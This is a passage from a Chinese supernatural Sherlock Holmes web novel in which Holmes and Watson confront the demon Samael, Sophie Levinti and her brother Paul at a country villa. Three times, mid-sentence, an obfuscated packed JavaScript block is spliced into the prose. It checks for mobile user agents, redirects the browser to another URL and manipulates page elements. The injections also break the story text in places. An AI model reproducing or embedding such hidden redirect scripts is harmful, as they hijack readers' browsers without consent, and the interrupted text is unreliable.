但歇洛克一眼就能从他边缘破损比较严重，但迟迟没有更换的旧鞋，与袖口磨得有些发亮的袖扣，看出他的财产状况并不乐观。 可见当时梅拉斯先生的直觉担忧不是空穴来风。 一眼看去，拉蒂默极有可能是哄骗了那名叫做保罗·莱文蒂的希腊绅士的妹妹，想要借机利用卑鄙的手段谋财。 “请进吧。”拉蒂默说道：“相信该说什么，不该说什么你都清楚。” “毕竟你的家庭住址我们可是知道得一清二楚。” “梅拉斯先生，我想你是不愿意自己和家人惹上其他麻烦的。” 别墅四周非常空旷安静，看起来并没有人居住在这里，自然也很少有人深夜经过此处。 想要临时向路过者求助的可能性几乎为零，更何况身后还有一名看起来随时会动粗的打手。 “梅拉斯”像是只好接受了这藏在和善表象下的威胁，往别墅内走去。 抬脚走上台阶的时候，他好似过于紧张，竟是一个踉跄摔倒在门边。 一枚宝石领夹在无人发现的角度甩进了门口的柜子底部。 巨大的动静让拉蒂默的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这次可别再做什么画蛇添足的蠢事了，梅拉斯先生。” “梅拉斯”被震慑到一样颤抖了一下身体，随后他沉默地接过那叠文件，慢慢向圆桌旁走去。 侦探低头看向手中的文件。 它不是由希腊文写成的。 白纸上在常人看来扭曲的黑线，在他的眼里自主地重新进行排列组合。 那些诡异蠕动着的线条，像是在平面上起伏的模糊海浪，又像随时会窜到眼前的细长蛇类。 但在侦探的目光注视下，那些黑色的线条又像察觉到了恐怖生物的下位体，不敢有丝毫造次地散去，从而露出最底层的核心文字含义。 这份契约书是有关断绝保罗·莱文蒂与索菲·莱文蒂兄妹血缘关系的宣誓。 最下方一侧已经签上了索菲的名字，另一侧属于保罗的则还空着。 不过这份契约书是专用的仪具，当双方都亲自签上自己名字的时候，不仅仅是从法律上断绝了他们的亲属关系，更是从命运层面，断绝了兄妹之间接下来的一切关联。 换而言之，他们将彻彻底底分成两个不再有特殊交际的陌路人，不管是生死或是悲欢都无法与之共享。 但，为什么会要保罗·莱文蒂签下这样的特殊契约？ 53.53 停留在门边柜子底部的宝石领夹静静躺着，如同一件再普通不过的装饰品听着几步外的声响。 然后，不着痕迹地。 这只领夹像是变软的金属，很快重新被无声地塑造成一个巴掌大小的精巧人偶。 仔细看去，这黄铜人偶的模样与约翰几乎别无二样。 约翰动了动手脚，感觉自己的身体变成这样还能自如行动，有一种非常不可思议的感觉。 借着身体小，动作轻的优势，他藏在柜底阴影里谨慎往外看去。 外面的正常人此时在他看来就像巨人一样高大。 一位面容姣好的女性说英语时带着希腊腔调。 之前在门边见到的拉蒂默说着关切的话语，仿佛他真是体贴至极的恋人，关心着站在台阶上的女性。 从两人的对话来听，氛围可谓是温馨美好。 但约翰看着他们，感觉背后冷汗渗出，下意识屏住了呼吸。 因为他们两人脸上没有任何表情，动作也丝毫没有交集。 比起说这是一个被哄骗交出真心的女人，和一个为了钱财说出海誓山盟、甜言蜜语的男人之间的互动。 在约翰看来，这分明更像是名为索菲·莱文蒂的演员对着台本，没有任何敬业精神地苍白念台词。 而拉蒂默嘴上的深情款款，与他面上的空洞神情根本也是完全不相符合。 他与身旁那魁梧的打手，只是在被动地在适当的时候，用适当的语气说出适当的台词。 直到这出诡异的双人戏演完，索菲对下方摆手，转身上楼。 于是拉蒂默的脸上逐渐出现僵硬的微笑，随后这古怪的笑容像是经过不断快速调整的成品定格在他的脸上。 现在“恢复了正常”的拉蒂默推开身后的门。 “梅拉斯先生，你今晚的任务是……” 走廊上重新恢复安静。 约翰谨慎地挪动步伐，追寻着月光花与群星草被焚烧过的气息，往楼上追去。 他现在的身高很矮，爬上每一层台阶都不亚于是在登山。 但也正是因为这样，他从平日里没有注意到的角度仔细审视观察，发现楼梯的地摊上有残留的血液痕迹。 他面色凝重地用手拂过现在犹如及腰草坪高度的毛毯。 再将手收回来的时候，掌心已经带上了些许残余的血腥气味。 看样子地摊已经被人清理过一次，但不够彻底，行凶者大概也不曾料想有人会用这种方式发现了端倪。 约翰抬头往一层高过一层的“山顶”看去。 在二楼的走廊墙壁上，只有唯一一扇被锁死的铁门。 在人类的视线中，这扇门像含苞待放的花苞，更像缠满血管的畸形胎盘，注视得越久，就越能感觉到它正如心脏般强劲有力地跳动着。 门内的某种生物安静蛰伏着，像是蜷缩在子宫羊水中的婴儿，在拥有真正能够自主活动的能力之前，它只会在门后贪婪地汲取生长所需的力量。 约翰感觉自己的心跳渐渐加速。 平稳的心脏犹如超速运行的蒸汽火车炉芯，正在发出雷鸣般的轰鸣。 他的心跳声开始和胎盘的心跳声重叠起来。 难以形容的安详感充斥着他的身心。 他的双目尚且还紧盯着那扇门，意识却像快要昏昏欲睡地合眼而闭。 直到安宁的虚空中有人不耐地“啧”了一声，这种宁静的感觉才像骤然被打破。 约翰猛地眨眼，切断“注视”这个持续动作的瞬间，他才警觉自己已经无意识屏气太长时间，现在有些呼吸不畅的晕眩感。 【约翰？约翰？！你那边没有问题吗？】 心灵对话的那边，好友像是已经反复询问了他好几遍，但他刚刚都没有听见。 约翰急忙稳住心神，【我没事，不用担心。】 他将自己在二楼看到的场景，和歇洛克做了描述。 【会如此动摇你理智精神的，门后应该是魔鬼的某种容器。】 【不管是人，还是物件，但必定是还没有完全降临的存在，否则不可能如此安静。】 要不然就会是和在黑街拍卖会的那天一样。 【又是魔鬼吗！】 约翰时刻提醒自己不要轻易往铁门的方向看去。 他在心中问道： 【这似乎是保罗·莱文蒂妹妹的房间……】 【也许是和魔鬼做出了交易，又也许是豢养着某些危险的超凡生物。】 【甚至不排除她本身就是容器。】 【约翰，你最好不要轻易冒险闯入那扇门后，那里必定很危险。】 【歇洛克，现在我看见索菲·莱文蒂从门里出来了，似乎是想往后院的方向走去。】 【我跟上去看看！】 【小心行事，注意安全！】 约翰跟上索菲的步伐。 视野中的女性看起来很高大，但以仰视的角度去看，她时刻紧绷的下颚线更加明显，这使得她看起来像一根随时会绷断的琴弦。 穿着长裙的她脸上没有任何表情，走路的动作更是轻得不似常人。 夜晚幽静，她仿佛一只无家可归的幽灵游荡在这偏僻乡野的别墅里。 约翰紧赶慢赶，终于在避免跟丢她的情况下，跟着她一起来到最终的目的地。 他藏好自己，然后看过去。 别墅后面的马棚里停着一辆看起来随时准备整装待发的马车。 马车后座上已经摆满了行李，马棚前的一对夫妻惊恐地看着幽灵一样，无声无息出现在他们面前的索菲。 “索菲小姐……东西已经全部准备好了，只要保罗先生一签字，我们马上就能出发……” 过了好几秒，脸上带着新鲜显目鞭痕的男人才惶恐地上前一步，低下头恭敬地汇报。 索菲点点头，随后忽然没头没尾地问道：“你们恨我吗？” 一旁的女人脸上蓦然被恐惧占满。 男人吓得当场两腿发颤，直接跪倒在地。 “索菲小姐！我、我们不恨——我们知道错了！当时我们是受拉蒂默花言巧语的蛊惑，才会上演那出绑架您的戏码！他才是主谋！才是披着人皮的魔鬼！您已经严惩了他，把他的灵魂抽出身体，扔进了深渊地狱，我们知道错了，请您宽宏大量，给我们改过自新的机会！” 索菲脸上反而露出了游离于人世外的冷漠，和些许人性才有的遗憾。 ——“这样啊……连愤怒这种应有的情绪都没能产生，为什么？” ——“明明之前你的妻子瞒着你和拉蒂默私通的时候，你就很愤怒，昨晚我让你在窗外再次目睹，为什么你没有最初的反应？” 她这些话是用希腊语说的，约翰并没有能直接理解全部的含义。 但是他听懂了那马夫悔不当初的自述。 索菲对拉蒂默的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083564|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一见钟情，来自一次被绑匪劫走时的英雄救美。 可惜那时，这位富家小姐并没有发现“英雄”和“绑匪”其实是一伙人，他们只是分工合作，特意在她眼前上演了精彩的爱情戏，欲图她那不菲的家产。 紧接着约翰发现跪倒在索菲面前那对男女眼里也出现了茫然。 即便听不懂语言，但当他们看见索菲随手提起马鞭的时候，他们立马就知道下一刻会发生。 “愤怒。” “愤怒。” “愤怒。” “愤怒！” “什么不恨我，为什么不愤怒！” 接下来简短的英文单词，和疯狂的鞭打同时劈头盖脸往那两人身上、脸上抽去。 有些人受此对待，会愤怒地予以反击，但这对心术不正的夫妻心中的恐惧明显大于恨意。 他们瑟瑟发抖，痛苦哀嚎，但始终不敢将自己的恨宣之于口。 被鞭挞的伤口处生长出细密的绿芽，然后在他们加倍的哀嚎声中，由里到外，如细密的针线缝好狰狞的伤口。 等到索菲停下这场酷刑的时候，那两人已经痛到暂时晕死过去，夜风吹散马棚附近浓郁的血腥味，浓雾遮盖了这里的异常。 仿佛除了一对看似别无外伤，但无故晕倒在地的夫妻外，没有任何不对劲的地方。 索菲安静了会儿，然后在下一秒毫无征兆地回头看去。 她看的方向恰好是缩小的约翰藏身后的方向。 约翰后背鸡皮疙瘩骤起。 紧绷的身体想让他立刻组织反击，但从好友那里学到的谨慎观察，让他发现索菲的视线其实不是聚焦在他的身上。 她看的是他背后的二楼窗户。 而那个房间正是之前古怪铁门对应的房间。 索菲不时对着上空点头，又摇头，间或掺杂着几句简短的希腊语。 她的脸上时而浮现和二十多岁的年龄不相符合的懵懂，在说到某些约翰听不懂的话题时，会表露明显激动的情绪。 “不……” “哥哥，不行……约好的……” “我可以另外找……” 约翰勉强听懂了几个希腊单词。 他想要凑近一些，再多仔细观察状况不对的索菲几眼的时候，忽然见到对方长时间直勾勾仰视窗户的眼珠一转，仿佛听到了什么提示一样往下看去。 一阵恶寒猛然窜过后脊。 约翰当机立断解除了宝石领夹的超凡力量。 好似重新喝下变大药水的爱丽丝，他立刻迈出一脚，就地受身翻滚，靠着那份果决险而又险地躲开了当空抽来的荆条。 身旁刚才站立的地面裂开一道深深的伤痕，连带墙角坚实的石砖也崩裂小半。 “哦——我认识你。” 索菲的英语并不是很标准，但勉强能够听懂。 “你是萨麦尔曾经提起过的‘容器’。” “可惜她没能再找到像你这样优秀的。” 面容姣好的女士穿着长长的睡裙，神色平静地在深夜的后院里“私会”一位陌生男士，如果被不明所以的好事者看见，恐怕还有桃/色传闻流出。 但如果看清了那位女士手中长鞭，竟是将整条手臂化作荆棘，再看清荆棘上满是血污与腐肉，甚至隐约可见带着锋利弯钩的“装饰品”是一张又一张有着尖利牙齿的嘴后，恐怕当即就会把“桃/色新闻”的主题换成“恐怖传说”。 54.54 “萨麦尔……‘暴怒的魔鬼’……” 面对约翰的话语，索菲的表情仍旧保持着一种空洞。 她看过来的时候，歪过头的角度，更像还未长大的孩童，正在用未成熟的懵懂思维看着他，所以无法理解眼前的人为什么震惊于一个再普通不过的信息。 约翰看着她，“你与萨麦尔做出了交易……和但魔鬼的赌注，最终往往只会叫人将灵魂都全部输得精光。” 他想起曾经见过的那些超凡者，越是希望在赌局里翻盘，越是容易坠入深渊。 他试图将她从悬崖的边缘拉回来。 “如果你是想救出你的兄长保罗·莱文蒂先生，我们可以帮忙。” 他认真说道： “我和我的朋友会尽全力帮助你们。” “你的哥哥必定是不希望魔鬼彻底吃掉你的灵魂的！他会因此伤心痛苦！” 一直面无表情的索菲终于表露出些许感情的波动。 坚硬的外壳因为这些诚挚的话语，露出些许的裂纹，于是约翰隐约可见那躯壳深处某种更深刻的情感。 她的嘴唇哆嗦了几下，似乎想要说什么，可此刻什么也说不出来。 最终她感激但坚定地对他摇头。 “做不到的。” 索菲扬起自己化作荆棘的手臂，看着他说道： “你是一个好人，先生。” “你应当在危险的夜里，睡在安宁的灯光下，而不是出现在这里。” 对方像是丝毫没有手软。 荆棘以人类难以想象和捕捉到的速度朝着他抽打过来。 约翰下意识做出防备的动作。 就在这时，背后一直犹如针刺的目光终于转移片刻。 “先生，你该去死了。” 说着这样狠毒话语的女性，动作却很轻柔。 荆棘划破了他的外套，带来痛感的瞬间，人就要被甩到别墅后院的围墙之外。 但约翰没有顺势离开这里，他选择反手死死拽住锋利的荆棘。 他的朋友还在这里，他绝不可能丢下他，自己独自逃跑！ *** 与此同时的室内。 “莱文蒂先生，你还是不愿意在这份文件上签字吗？” 歇洛克看着这位越发虚弱的希腊男人，用希腊语低声问道。 在门外的交谈声消失，拉蒂默进门后，保罗就一直低垂着头，再也没有爆发出刚刚挣扎的力量和气势。 他没有回答歇洛克的问题。 拉蒂默不客气地催促着他的工作。 “赶快让他在那些纸上签字。” 歇洛克看了眼拉蒂默。 习惯装满的烟盒，根部泛黄牙齿，和留有取用香烟痕迹的手指，都说明这具身体喜欢并习惯每天享用不少于五根的香烟。 但眼前这个拉蒂默，从见面开始，就像完全不嗜好烟草的人一样，只顾一心完成某样任务。 歇洛克身体前倾，靠近了保罗，继续用希腊语说道： “保罗先生，我要提醒你一件事。” “事实上，只有你签下这份契约，你的妹妹索菲，才能真正享受安宁和幸福。” 保罗猛地抬起头看向他。 明明看起来还是那个翻译员。 他应该是个怀有明哲保身的缄默，但也有心怀不忍同情的人，但今天的他似乎还有什么明显的不同。 这位“陌生人”的眼里，还多出了一些对某件事真相的了然。 “签字吧，保罗·莱文蒂先生。”翻译员用希腊语说道：“死亡应当是神圣的，那本该是一个鲜活的生命，对时间交出的自我答卷。” “无论这份答卷最后如何，他者都无权玷污和修改。” “当你出于自我的想法，修改最后的答卷时，就已经扭曲了原有者的本心。” 看着他的保罗愣怔了几秒，然后他几近愤怒地挣扎起来。 明明此刻无法言语，但他的力道和动作幅度都很大，像是想用这种肢体语言反驳着他。 这位兄长的眼眶泛红，仿佛怎样也无法接受他的劝说。 屋内的光线逐渐昏暗下来。 芬芳的气息从黑暗的角落里滋生，荆棘像长蛇游走在墙壁之后，偶尔攀出几条暗色的枝芽。 翻译员没有回头，但接下来说的话也并非是对保罗所说。 【我以为你还能够再继续沉住气做些伪装。】 一道平静的声音在他们背后响起。 听音色分明是拉蒂默，但那语调更像是截然不同的他者。 “既然梅拉斯请来的是大名鼎鼎的福尔摩斯，我再继续旁观，岂不是约等于宣告自己的计划彻底失败。” 拉蒂默是不会希腊语的，可他现在说的希腊语分外流利准确。 被绑在椅子上的保罗睁大眼睛，感觉落在自己耳朵里的音色格外熟悉。 字词连成语句，他听到的每句话都能理解，但在理解后不过一秒的时间，又被自己的大脑自动遗忘。 他茫然地看着那两人，对他们之间的对话感到了一种古怪诡异的不理解。 “拉蒂默”说道： 【我无意在这里伤害其他人，本质上你此行的目的也非特意来除掉我，不是吗？】 “拉蒂默”像是特意卖好一样，对他说道： 【我只需要眼前这个男人在契约书上签下名字，然后我就会离开此处。】 被说出真实身份的歇洛克转过身去，看向对方。 【萨麦尔。】 他也平静地揭穿对方的真实身份。 【你的所谓‘无意伤害他人’，就是这样折磨对方吗？】 “拉蒂默”脸上的五官诡异地蠕动两下，像是重新组合一样细微调整了它们所处的位置。 于是这个男人的面容和气质就变得不同起来，好似有什么存在特意接管了这具身体，正和侦探进行着对话。 【我并没有杀死他。】 他此刻的平静里充斥着满不在乎的高高在上。 【暴怒的魔鬼也是躲在帷幕之后，想要捡些残羹冷炙的胆小鬼吗？】侦探说道。 “拉蒂默”脸上的五官扭曲片刻。 很快他像是重新恢复平静。 【你要知道的，我只是为了活下去。】 在侦探观察着“拉蒂默”这具皮囊背后的祂时，祂也在打量着他。 【你以‘歇洛克·福尔摩斯’的身份来到这个维度，最终的目的难道不是和我，以及祂们一样？】 祂看着他。 接着缓缓拉扯出一个诡异的微笑。 【还是说，你与贝尔芬格，以及少数脑子有些问题的家伙们一样，竟然异想天开到觉得自己和人类这种低维的存在没有区别？而且愚蠢到主动放弃了食客的身份，转而投入餐盘中，当一个任由宰割的食物？】 侦探透过外在的皮囊，看着内里的祂。 【你在愤怒。】 【我没有。】萨麦尔死死地盯着他，语气状似平静地回答。 【你不仅 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匕首挑断绳索，手脚恢复自由，将堵住自己口舌的阻碍去除的保罗，第一时间就要往屋外冲去。 守在门边的三名打手，还是神情空白，但与“拉蒂默”相似，他们的双臂与双手也化作了锋利无比的荆棘，如同铁/处/女这样恐怖的刑具往他这里“拥抱”而来。 歇洛克拽住保罗的后衣领，将这个已经算不上还有什么余力的男人拉住，往左边推去。 两人错肩分开的瞬间，“拉蒂默”已经撕开圆桌。 钢铁长鞭样的荆棘好似离弦的利箭，要将歇洛克钉死在原地。 脚下的木质地板大半都已经被翻涌如海的荆棘刺穿，属于人类的落脚地每分每秒都在减少，摆动的植物是杀人的武器，随时准备致这名侦探于死地。 但歇洛克甩出一枚长钉，钉死在天花板上，金属圆环的尾端缀着一条长绳。 他像名穿梭于屋顶房梁的大盗，扯着长绳拉住了保罗，停留在空中看向几乎是面目全非的“拉蒂默”。 荆棘在即将刺穿他们两人之前停下。 这刻，歇洛克已然证实自己的设想。 萨麦尔看似毫不在乎保罗·莱文蒂的性命，但实际上并不想直接对他直接痛下杀手。 通过之前感受到的气息来看，索菲·莱文蒂通过某种方式拥有了暴怒的部分本源力量。 可那个姑娘并没有像拉蒂默这样，沦为萨麦尔的傀儡人偶。 伪装过的普通傀儡，无法骗过拥有部分魔鬼强大力量的索菲。 所以，萨麦尔需要的是一个仍旧活着，但已经精神涣散、意志崩溃的保罗，来控制拥有了力量，但不受祂控制的索菲。 “先生！我，我需要去找我的妹妹索菲！” 保罗的双目和双耳已经开始溢出鲜血。 他看到和听到了过量本不当接触的信息。 即便大脑为了保护，自动过滤模糊了很多，可他依旧受到了些许不可逆的伤害。 “歇洛克·福尔摩斯！”萨麦尔尖啸着，“将这个男人放下，我可以让你和你的同伴安然无恙地离开！” 祂几乎是歇斯底里的威胁。 “索菲·莱文蒂不是你想象中那么好对付的！” “你想让那个叫做约翰·华生的家伙死在后院里吗？！” 55.55 面对藏身幕后做此发言的萨麦尔，歇洛克的神情中带着犹如凛冬寒风的冰冷。 他说道： “你的威胁简直就是软弱的证据。” “更何况，这威胁也不会发挥你想象中的效果。” “什——” “拉莫蒂”的错愕还凝固在脸部表情的细节中，这间地处荒郊野岭的别墅门外就响起了刺耳的铃声。 很快别墅正门外有一阵不容忽视的敲门声。 “我们是苏格兰场！里面的人请立刻开门！” 萨麦尔咬牙，“你真是疯了！居然是想借助人类那种弱小的力量？！” 歇洛克对祂露出的微笑里暗藏獠牙。 “我们既然身处人类的维度，有何不能借助他们的力量？” 即便是暴怒的魔鬼，也不得不承认，这名侦探此刻的借力足够对自己产生威胁。 祂嗅到危机的到来。 如果门那边真的只是所谓苏格兰场的人类势力，祂立刻就能操控手中这具名为“拉蒂默”的傀儡杀死他们，但屋外暗处隐约有整齐划一的盔甲活动声，足够说明来者是具备超凡力量的白骑士团。 虽然人类是弱小到祂随手就能拍死很多的虫子，但一旦数量太多，也会令祂觉得开始麻烦棘手起来。 轰—— 古老的骑士枪以势不可挡的姿态冲破围墙的阻拦，如同打开一只铁皮罐头一样往室内长驱直入。 身着秘银盔甲的骑士们如同来自旧时代的沉默白色幽灵，往室内杀来。 荆棘固然锋利，但破不开盔甲的防护。 女王的骑士们应对这种超凡生物显然已经有了一套成熟完善的流程。 长剑斩断荆棘的瞬间，专用的圣水已经洒下。 仿佛触碰到具有强腐蚀的除草剂，荆棘们立马发出刺耳的尖叫，瑟缩着收回自己犹如触腕的部分。 也就在它们主动让路的瞬间，穿着更严密秘银盔甲的几位高阶骑士就突进空隙之中，以绝对精准，没有任何拖泥带水的方式斩下荆棘群中几个关键的节点。 仿佛失去根系的植物，那些挡路的荆棘逐渐枯萎消散。 雷斯垂德呼出一口浊气，感觉今晚请求第七组的支援，真是再明智不过的选择。 虽然不知道为什么，女王陛下要将所有原本戒备在深渊维度附近的骑士们召回伦敦，但不得不说，正是因为有了他们，近来伦敦的夜晚相对安全了很多，包括这次的行动应该也不至于出现太多伤亡。 “弗雷德里克！” 雷斯垂德手握左轮，对身为第七组负责人的高大骑士喊道。 “福尔摩斯说，那东西在二楼！” 半头灰白的丝的骑士抬头看去。 他的双目如炬，令人看一眼就足以知道他是个心志坚定、行动果决的人。 形制古老的长剑在这位骑士的手中，威力不比当前最新制式的热武器差。 甚至在他超凡能力的配合下，更适合他在冲锋陷阵时英勇杀敌。 铁靴越过楼梯，但没有丝毫响动。 高举的长剑一半倒映骑士坚毅的目光，另一半倒映着胎盘的啼哭。 【索菲！】 萨麦尔的怒吼，让战局猛然发生变化。 即便被切割部分，但保有大半力量的魔鬼依旧手握强制号令的资本。 后院中穿着长裙的女性痛苦哀嚎一声。 她原本只有两条手臂化作荆棘的身体变得更加畸形。 死去但又被家人重新唤醒的灵魂，正在被魔鬼当做不灭的炉芯强制塞进了扭曲的躯壳之中，以供庞大的怪物杀死眼前的敌人。 仿佛沉睡在皮肤下的种子被唤醒，更多的荆棘撕开人类脆弱的皮囊，让索菲·莱文蒂化作一具褪去血肉，只剩荆条缠绕在一起的巨大“人形骨架”。 此刻已经无法再继续被称之为人类的它，睁开猩红的眼睛，双手往下压来的瞬间，像是足以将夜晚漆黑的天幕也一并扯下扔碎在地。 面前的房屋对于它而言不过是普通的玩具，随手一挥就足以将其彻底碾碎。 属于神秘侧的力量开始侵蚀现实维度的世界。 沉眠的荆棘从地下苏醒，张开锋利的嘴哈哈大笑起来。 “醒来了！醒来了！我们要■■■，要■■■！” “用痛■点燃■怒！” “要■苦！” “要愤■！” 刺耳的狂笑足以令人心生恐惧。 随后恐惧又会作为诱因，进一步污染人类本该纯净的灵魂。 悉悉索索的发芽声要从他们的衣物和盔甲下破土，部分意志相对薄弱的人开始在清醒的状态下，发现自己的血肉深处有荆棘逐渐萌芽。 仿佛古老仪式中提到的“柳条人”。 为了能够丰衣足食，人们祈求充足的雨水、适宜的阳光，于是在曾经将活人献祭。 以刺藤和柳条编织成人形的笼子，将被选做祭品的活人囚禁其中，随后将那牢笼点燃焚烧，使得祭品在意识清醒的前提条件下，感受着莫大的恐惧和痛苦，亲眼目睹祭祀仪式的全部过程。 异变的索菲·莱文蒂与被污染的其他人逐渐转变为，那形似古老祭品的恐怖模样。 荆条蠕动，将他们的身体困于痛苦之中，再用无形的烈火点燃他们的灵魂，以残酷的绝望取悦魔鬼的心情，壮大魔鬼的力量。 在巨型柳条人的摧残下，这栋远郊别墅很快就被夷为平地。 约翰在房屋发出雷鸣般崩塌的声响中，尽可能扯着嗓子喊道： “远离房子！受伤严重的人尽可能后撤！” 人类的呼喊在这惊天动地的声响中渺小得可怜。 但好在他不是孤身呐喊。 纵然渺小，可当无数声音汇集的时候就足够嘹亮。 来到这里的人无一不是早就做好随时牺牲的心理准备。 即便是被魔鬼们蔑称为蚁群般弱小，但他们依旧快速地行动起来。 负伤者由轻伤的战友带上，往安全距离线撤退；尚有能力一战者，则跟在自己所属小队队长的背后，压住血肉里有异物萌芽的恐惧，往那巨型的柳条人方向冲去。 砖瓦木屑纷飞，将夜晚的雾气搅动得更加浑浊几分。 破损的房屋之下，长剑划破空气，斩出一条逃生的道路。 弗雷德里克目藏怒火，举剑要砍下那怪物的头颅。 雷斯垂德紧随其后，手中扳机不断扣下，精准有效地击杀其他从地下源源不断新生的小型柳条人们。 “现在你知道自己唤醒的是什么了吗？！” 歇洛克带着保罗成功从废墟中脱身。 他扯住他，必须让他看向自己种下的恶果。 “你知道因为自己的想法，又将多少无辜者拉入深渊地狱？！” 他呵斥。 “保罗·莱文蒂你的罪恶简直不可饶恕！” 这个一直因为某种信念坚持的男人，在抬头看见那狰狞怪物的时候，忽而愣怔地流下眼泪。 他的手徒劳地抓挠着地面。 但无论是后悔，还是遗憾，亦或是其他什么情绪，都只是像流沙碎石一样从他的指缝间溜走，不曾给他徒劳努力后的半点安慰。 他在满眼的泪水中看见巨大荆棘的囚笼中，困着妹妹那无辜的灵魂。 尖刺已经刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092928|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿了她身体的每一处，痛苦更是在持续折磨着她的灵魂。 她低垂着头，本能地用希腊语喃喃说着什么，像是怀抱某种信念安慰着自己。 ——“哥哥……哥哥……救救我……” ——“不，不要来救我……” ——“索菲·莱文蒂不应继续是保罗·莱文蒂的妹妹。” ——“结束吧，就让这一切都结束……” 保罗哀嚎着，像是荆棘也刺穿了他的灵魂。 “索菲！索菲！” 他的妹妹死在两年前。 他只有这唯一一个妹妹，她那么可爱活泼，为人友善，她才和他相约兄妹两人要外出踏青，也说起今后成家也不打算离哥哥太远，有孩子也要经常来“打扰”。 他就笑着和她说，什么都好，只要索菲的婚姻和未来幸福，那哥哥的人生也就幸福了。 他的妹妹也笑着回答他，哥哥的人生还有另一半幸福呢，以前是我们兄妹相依活下去，今后哥哥也要找到自己的幸福，然后我们两个家庭都要变成老头和老太太，白着头发带着孩子们再一起去踏青。 他那时是如此的幸福啊—— 仿佛一场幻梦。 怎么只是睁眼的刹那，妹妹就因为被卷入恶魔无差别的袭击中死去？ 她被发现的时候，身体已经在回家附近的小路上被啃食得七零八落。 当时的她蜷缩着身体，就和现在被困荆棘的囚笼里一样，背对着他所在的方向。 几百米开外的别墅里，她那一无所知的兄长还在为了明日商务晚宴的宴请宾客名单发愁。 直到教会的牧师通知了他这个噩耗，并告诉他，恶魔吃掉了他妹妹大半的灵魂，为了防止邪恶的污染继续蔓延，按照规定，她的遗体必须被烧毁后由教会专门进行安葬，所以无法被家属带走。 他另一半的幸福还没有找到，绝望就已经先撕碎了他原本以为拥有的幸福生活。 他在当地的教会里枯坐了两天。 日升月落，他如此虔诚地向神与祂的使者们祈祷，祈祷祂们能将自己的妹妹送回来。 索菲·莱文蒂的一生如此行善，但还没来得及享受自己的幸福多久，怎么就被夺走了生命！ 神啊……神啊！如果你还爱着世人，求求您，求求您救救索菲！ 但神没有回应他的祈祷和奢望。 慈悲的神像低头俯视着这位可怜的兄长，用温和的微笑，予以他冰冷的绝望。 彻底崩溃的他像疯了一样，砸了那间教堂里所有的神像，撕了所有的圣经。 神救不了索菲！那他就要用其他方法去救自己的妹妹，哪怕是与魔鬼做出交易！ 然后他的妹妹果然回来了。 即使懵懵懂懂，如孩童一样缺少了很多人生的经验，但他还是如此庆幸她能回来。 为了妹妹的幸福，他愿意继续将自己的膝盖落地，低着头匍匐在深渊中，为那些狡猾贪婪的魔鬼献上更多的灵魂。 可为什么，为什么……索菲的灵魂还是在地狱里经受着苦难与折磨？ 约翰赶到他们的身旁。 他看着这个满脸泪水，几乎快精神崩溃的男人，开口质问： “保罗·莱文蒂，你还要自私到什么时候？” “以这种方式活过来……真的是索菲·莱文蒂的心愿吗？！” 他对他怒吼。 “醒醒吧保罗·莱文蒂！” “你还要用自己自私的想法玷污她多久！” “死者不可苏生！亡者本该离去！你的强行，只会让索菲残余的灵魂被污染得更深，直至把她彻底扭曲成如魔鬼所愿的诡异怪物！” 56.56 “保罗·莱文蒂。” 相较于好友的怒火中烧，这位在欧洲各地报纸上都已经打响名号的侦探语气还冷静得可怕。 “你难道还没有发现，你的妹妹索菲最后留下的遗愿是什么吗？” 保罗的脸色一片死灰。 他无比希望眼前这个侦探不要再继续说下去。 在这个瞬间，虚妄的谎言也比切肤的真相，更容易让他接受。 可对方偏偏不会如他所愿。 侦探一个字一个字，口齿清晰地逼着他重新回顾过往的一切，就像他的同伴此刻紧紧扭住了他的后颈，迫使他抬起头直面自己犯下的罪过。 巨大的荆棘囚笼里，妹妹的身影很小。 鲜血像红色的雨水从天上落下，又像炙热的烈焰从下往上点燃这扭曲不祥的祭品。 “有人找到了当年的记录，告诉我那时的事情经过。” 一只白鸦刚和歇洛克对话过，此时它停在院外的树梢，歪着头打量这雾气里的怪物与负伤的人群，似乎并不打算直接介入这次的战斗之中。 它，和背后的祂，和明面代表的他三位一体。 他在观察，但也只是在观察。 歇洛克看着那似乎快要崩溃的人说道： “索菲·莱文蒂死去的时候，是背对着家的方向。” “距离她不远处就是人流量不小的车道，哪怕那个时候已经接近傍晚，但依旧有不少行人车辆路过。” “但她偏偏没有呼喊求救。” “她咬紧了牙关，唯一主动留下的只有一条家传的项链。” “那是曾任你们家乡教堂的主教为索菲洗礼时，特意赠送的礼物，也是一种特殊的记录仪具。” “莱文蒂家族并非对神秘一无所知，你们曾经了解，甚至近距离接触过那些恐怖的超凡知识。” “自然，索菲也清楚，她的求救，可能只是恶魔故意放出的鱼饵，为的是吸引更多不具超凡能力的救援者继续被害。” 他顿了顿，继续说道： “甚至也有可能引来自己的兄长，害其丧命。” “所以这位女士，在生命的最后，选择的是自我了断，咬舌自尽，来避免自己在被折磨的痛苦中沦为谋害他人的帮凶。” 